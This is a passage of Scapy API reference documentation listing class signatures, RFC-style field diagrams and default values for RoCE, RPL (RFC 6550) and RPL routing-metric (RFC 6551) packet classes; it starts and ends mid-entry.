	flowlabel

	BitField  (20 bits)

	6



	paylen

	ShortField

	0



	nexthdr

	ByteField

	0



	hoplmt

	ByteField

	0



	sgid

	XBitField  (128 bits)

	0



	dgid

	XBitField  (128 bits)

	0











	
payload_guess

	Possible sublayers:
BTH










	
scapy.contrib.roce.cnp(dqpn: int) → BTH[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L225-L227]

	




	
scapy.contrib.roce.opcode(transport: str, op: str) → Tuple[int, str][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/roce.py#L63-L65]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rpl


RPL

RFC 6550 - Routing Protocol for Low-Power and Lossy Networks (RPL)
draft-ietf-roll-efficient-npdao-17 - Efficient Route Invalidation



	RPL Options : Pad1 PadN TIO RIO PIO Tgt TgtDesc DODAGConfig DAGMC …



	RPL Msgs : DIS DIO DAO DAOACK DCO DCOACK



	ICMPv6 : type 155 RPL








	
class scapy.contrib.rpl.RPLDAO(_pkt, /, *, RPLInstanceID=50, K=0, D=0, flags=0, reserved=0, daoseq=1, dodagid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L243-L255]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: Destination Advertisement Object (DAO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RPLINSTANCEID |K|D|   FLAGS   |    RESERVED   |     DAOSEQ    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. RPLDAO                            


RPLDAO fields






	RPLInstanceID

	ByteField

	50



	K

	BitField  (1 bit)

	0



	D

	BitField  (1 bit)

	0



	flags

	BitField  (6 bits)

	0



	reserved

	ByteField

	0



	daoseq

	ByteField

	1



	dodagid

	IP6Field (Cond)

	None















	
class scapy.contrib.rpl.RPLDAOACK(_pkt, /, *, RPLInstanceID=50, D=0, reserved=0, daoseq=1, status=0, dodagid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L258-L269]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: Destination Advertisement Object Acknowledgement (DAOACK)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RPLINSTANCEID |D|   RESERVED  |     DAOSEQ    |     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLDAOACK                          


RPLDAOACK fields






	RPLInstanceID

	ByteField

	50



	D

	BitField  (1 bit)

	0



	reserved

	BitField  (7 bits)

	0



	daoseq

	ByteField

	1



	status

	ByteField

	0



	dodagid

	IP6Field (Cond)

	None















	
class scapy.contrib.rpl.RPLDCO(_pkt, /, *, RPLInstanceID=50, K=0, D=0, flags=0, status=0, dcoseq=1, dodagid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L273-L285]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: Destination Cleanup Object (DCO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RPLINSTANCEID |K|D|   FLAGS   |     STATUS    |     DCOSEQ    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. RPLDCO                            


RPLDCO fields






	RPLInstanceID

	ByteField

	50



	K

	BitField  (1 bit)

	0



	D

	BitField  (1 bit)

	0



	flags

	BitField  (6 bits)

	0



	status

	ByteField

	0



	dcoseq

	ByteField

	1



	dodagid

	IP6Field (Cond)

	None















	
class scapy.contrib.rpl.RPLDCOACK(_pkt, /, *, RPLInstanceID=50, D=0, flags=0, dcoseq=1, status=0, dodagid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L289-L300]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: Destination Cleanup Object Acknowledgement (DCOACK)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RPLINSTANCEID |D|    FLAGS    |     DCOSEQ    |     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLDCOACK                          


RPLDCOACK fields






	RPLInstanceID

	ByteField

	50



	D

	BitField  (1 bit)

	0



	flags

	BitField  (7 bits)

	0



	dcoseq

	ByteField

	1



	status

	ByteField

	0



	dodagid

	IP6Field (Cond)

	None















	
class scapy.contrib.rpl.RPLDIO(_pkt, /, *, RPLInstanceID=50, ver=0, rank=1, G=1, unused1=0, mop=1, prf=0, dtsn=240, flags=0, reserved=0, dodagid='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L225-L240]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: DODAG Information Object (DIO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RPLINSTANCEID |      VER      |              RANK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|G|U| MOP | PRF |      DTSN     |     FLAGS     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. RPLDIO                            


RPLDIO fields






	RPLInstanceID

	ByteField

	50



	ver

	ByteField

	0



	rank

	ShortField

	1



	G

	BitField  (1 bit)

	1



	unused1

	BitField  (1 bit)

	0



	mop

	BitEnumField

	1



	prf

	BitField  (3 bits)

	0



	dtsn

	ByteField

	240



	flags

	ByteField

	0



	reserved

	ByteField

	0



	dodagid

	IP6Field

	'::1'















	
class scapy.contrib.rpl.RPLDIS(_pkt, /, *, flags=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L216-L222]

	Bases: _RPLGuessMsgType, _RPLGuessOption

Control Message: DODAG Information Solicitation (DIS)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. RPLDIS                            


RPLDIS fields






	flags

	ByteField

	0



	reserved

	ByteField

	0















	
class scapy.contrib.rpl.RPLOptDODAGConfig(_pkt, /, *, otype=4, len=14, flags=0, A=0, PCS=0, DIOIntDoubl=20, DIOIntMin=3, DIORedun=10, MaxRankIncrease=0, MinRankIncrease=256, OCP=1, reserved=0, DefLifetime=255, LifetimeUnit=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L76-L94]

	Bases: _RPLGuessOption

Control Option: DODAG Configuration


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      | FLAGS |A| PCS |  DIOINTDOUBL  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DIOINTMIN   |    DIOREDUN   |        MAXRANKINCREASE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MINRANKINCREASE        |              OCP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |  DEFLIFETIME  |          LIFETIMEUNIT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RPLOptDODAGConfig                      


RPLOptDODAGConfig fields






	otype

	ByteEnumField

	4



	len

	ByteField

	14



	flags

	BitField  (4 bits)

	0



	A

	BitField  (1 bit)

	0



	PCS

	BitField  (3 bits)

	0



	DIOIntDoubl

	ByteField

	20



	DIOIntMin

	ByteField

	3



	DIORedun

	ByteField

	10



	MaxRankIncrease

	ShortField

	0



	MinRankIncrease

	ShortField

	256



	OCP

	ShortField

	1



	reserved

	ByteField

	0



	DefLifetime

	ByteField

	255



	LifetimeUnit

	ShortField

	65535















	
class scapy.contrib.rpl.RPLOptPIO(_pkt, /, *, otype=8, len=30, plen=64, L=0, A=0, R=0, reserved1=0, validlifetime=4294967295, preflifetime=4294967295, reserved2=0, prefix='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L142-L157]

	Bases: _RPLGuessOption

Control Option: Prefix Information Option (PIO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |      PLEN     |L|A|R|RESERVED1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VALIDLIFETIME                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PREFLIFETIME                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLOptPIO                          


RPLOptPIO fields






	otype

	ByteEnumField

	8



	len

	ByteField

	30



	plen

	ByteField

	64



	L

	BitField  (1 bit)

	0



	A

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	reserved1

	BitField  (5 bits)

	0



	validlifetime

	IntField

	4294967295



	preflifetime

	IntField

	4294967295



	reserved2

	IntField

	0



	prefix

	IP6Field

	'::1'















	
class scapy.contrib.rpl.RPLOptPad1(_pkt, /, *, otype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L170-L175]

	Bases: _RPLGuessOption

Control Option: Pad 1 byte


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |
+-+-+-+-+-+-+-+-+

                         Fig. RPLOptPad1                          


RPLOptPad1 fields






	otype

	ByteEnumField

	0















	
class scapy.contrib.rpl.RPLOptPadN(_pkt, /, *, otype=1, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L178-L186]

	Bases: _RPLGuessOption

Control Option: Pad N bytes


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RPLOptPadN                          


RPLOptPadN fields






	otype

	ByteEnumField

	1



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.contrib.rpl.RPLOptRIO(_pkt, /, *, otype=3, len=None, plen=None, res1=0, prf=0, res2=0, rtlifetime=4294967295, prefix=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L60-L73]

	Bases: _RPLGuessOption

Control Option: Routing Information Option (RIO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |      PLEN     | RES1|PRF| RES2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RTLIFETIME                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLOptRIO                          


RPLOptRIO fields






	otype

	ByteEnumField

	3



	len

	FieldLenField

	None



	plen

	ByteField

	None



	res1

	BitField  (3 bits)

	0



	prf

	BitEnumField

	0



	res2

	BitField  (3 bits)

	0



	rtlifetime

	IntField

	4294967295



	prefix

	_IP6PrefixField

	None















	
class scapy.contrib.rpl.RPLOptSolInfo(_pkt, /, *, otype=7, len=19, RPLInstanceID=0, V=0, I=0, D=0, flags=0, dodagid='::1', ver=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L126-L139]

	Bases: _RPLGuessOption

Control Option: Solicited Information


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      | RPLINSTANCEID |V|I|D|  FLAGS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DODAGID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      VER      |
+-+-+-+-+-+-+-+-+

                        Fig. RPLOptSolInfo                        


RPLOptSolInfo fields






	otype

	ByteEnumField

	7



	len

	ByteField

	19



	RPLInstanceID

	ByteField

	0



	V

	BitField  (1 bit)

	0



	I

	BitField  (1 bit)

	0



	D

	BitField  (1 bit)

	0



	flags

	BitField  (5 bits)

	0



	dodagid

	IP6Field

	'::1'



	ver

	ByteField

	0















	
class scapy.contrib.rpl.RPLOptTIO(_pkt, /, *, otype=6, len=None, E=0, flags=0, pathcontrol=0, pathseq=0, pathlifetime=255, parentaddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L110-L123]

	Bases: _RPLGuessOption

Control Option: Transit Information Option (TIO)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |E|    FLAGS    |  PATHCONTROL  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PATHSEQ    |  PATHLIFETIME |           PARENTADDR          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLOptTIO                          


RPLOptTIO fields






	otype

	ByteEnumField

	6



	len

	FieldLenField

	None



	E

	BitField  (1 bit)

	0



	flags

	BitField  (7 bits)

	0



	pathcontrol

	ByteField

	0



	pathseq

	ByteField

	0



	pathlifetime

	ByteField

	255



	parentaddr

	_IP6PrefixField

	None















	
class scapy.contrib.rpl.RPLOptTgt(_pkt, /, *, otype=5, len=None, flags=0, plen=0, prefix=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L97-L107]

	Bases: _RPLGuessOption

Control Option: RPL Target


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |     FLAGS     |      PLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPLOptTgt                          


RPLOptTgt fields






	otype

	ByteEnumField

	5



	len

	FieldLenField

	None



	flags

	ByteField

	0



	plen

	ByteField

	0



	prefix

	_IP6PrefixField

	None















	
class scapy.contrib.rpl.RPLOptTgtDesc(_pkt, /, *, otype=9, len=4, descriptor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl.py#L160-L167]

	Bases: _RPLGuessOption

Control Option: RPL Target Descriptor


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |           DESCRIPTOR          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RPLOptTgtDesc                        


RPLOptTgtDesc fields






	otype

	ByteEnumField

	9



	len

	ByteField

	4



	descriptor

	IntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rpl_metrics

RFC 6551 - Routing Metrics Used for Path Calculation in LLNs



	Metrics & Constraint Types



	DAGMC Option



	RPL-DIO







	
class scapy.contrib.rpl_metrics.DAGMCObj(_pkt, /, *, otype=0, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L80-L102]

	Bases: Packet

Set the length field in DAG Metric Constraint Control Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DAGMCObj                           


DAGMCObj fields






	otype

	ByteEnumField

	0



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L96-L102]

	








	
class scapy.contrib.rpl_metrics.DAGMCObjUnknown(_pkt, /, *, otype=3, olen=None, odata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L52-L71]

	Bases: Packet

Dummy unknown metric/constraint


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L62-L71]

	Dispatch hook for DAGMC sub-fields






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |             ODATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DAGMCObjUnknown                       


DAGMCObjUnknown fields






	otype

	ByteEnumField

	3



	olen

	FieldLenField

	None



	odata

	StrLenField

	b''















	
class scapy.contrib.rpl_metrics.RPLDAGMCHopCount(_pkt, /, *, otype=3, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, res=0, flags=0, HopCount=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L138-L150]

	Bases: DAGMCObj

DAG Metric: Hop Count


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RES  | FLAGS |    HOPCOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RPLDAGMCHopCount                       


RPLDAGMCHopCount fields






	otype

	ByteEnumField

	3



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	res

	BitField  (4 bits)

	0



	flags

	BitField  (4 bits)

	0



	HopCount

	ByteField

	1















	
class scapy.contrib.rpl_metrics.RPLDAGMCLinkColor(_pkt, /, *, otype=8, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, res=0, color=1, counter=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L209-L221]

	Bases: DAGMCObj

DAG Metric: Link Color


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RES      |       COLOR       |  COUNTER  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RPLDAGMCLinkColor                      


RPLDAGMCLinkColor fields






	otype

	ByteEnumField

	8



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	res

	ByteField

	0



	color

	BitField  (10 bits)

	1



	counter

	BitField  (6 bits)

	1















	
class scapy.contrib.rpl_metrics.RPLDAGMCLinkETX(_pkt, /, *, otype=7, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, ETX=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L194-L204]

	Bases: DAGMCObj

DAG Metric: Link ETX


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ETX              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RPLDAGMCLinkETX                       


RPLDAGMCLinkETX fields






	otype

	ByteEnumField

	7



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	ETX

	ShortField

	1















	
class scapy.contrib.rpl_metrics.RPLDAGMCLinkLatency(_pkt, /, *, otype=5, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, Latency=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L166-L176]

	Bases: DAGMCObj

DAG Metric: Link Latency


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LATENCY                            |
